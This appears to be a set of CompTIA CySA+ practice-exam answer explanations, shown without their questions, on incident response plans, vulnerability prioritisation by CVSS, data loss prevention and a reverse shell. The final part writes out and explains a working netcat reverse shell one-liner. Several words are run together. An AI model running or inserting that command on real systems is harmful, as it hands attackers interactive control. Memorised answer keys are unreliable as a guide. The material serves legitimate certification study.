An incident response plan (IRP) is a document that defines the roles and responsibilities, procedures, and guidelines for responding to a security incident. It helps the security team to act quickly and effectively, minimizing the impact and cost of the incident. An IRP should specify who should conduct the next steps following a security event, such as containment, eradication, recovery, and analysis12. References: CompTIA CySA+ CS0-003 Certification Study Guide, page 362; 6 Incident Response Steps to Take After a Security Event, section 2.

SVR02 has a CVSS score of 7.1 and is exploitable, making itthe highest priority for remediation.
* SVR01 (CVSS 8.9) is not exploitable, so it is a lower risk.
* SVR03 (CVSS 3.5) is exploitablebut has alower severitythan SVR02.
* SVR04 (CVSS 6.7) is not exploitable, reducing its urgency.
Thus,B (SVR02) is the correct answer, as it presentsthe highest immediate risk.

Data loss prevention (DLP) is a tool that can prevent the exposure of PII outside of an organization by monitoring, detecting, and blocking sensitive data in motion, in use, or at rest.

The command rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f is a one-liner that creates a reverse shell from the target machine to the attacker's machine. It does the following steps:
*rm -f /tmp/f deletes any existing file named /tmp/f
*mknod /tmp/f p creates a named pipe (FIFO) file named /tmp/f
*cat /tmp/f|/bin/sh -i 2>&1 reads from the pipe and executes the commands using /bin/sh in interactive mode, redirecting the standard error to the standard output
*nc 10.0.0.1 1234 > tmp/f connects to the attacker's machine at IP address 10.0.0.1 and port 1234 using netcat, and writes the output to the pipe This way, the attacker can send commands to the target machine and receive the output through the netcat connection, effectively creating a reverse shell.
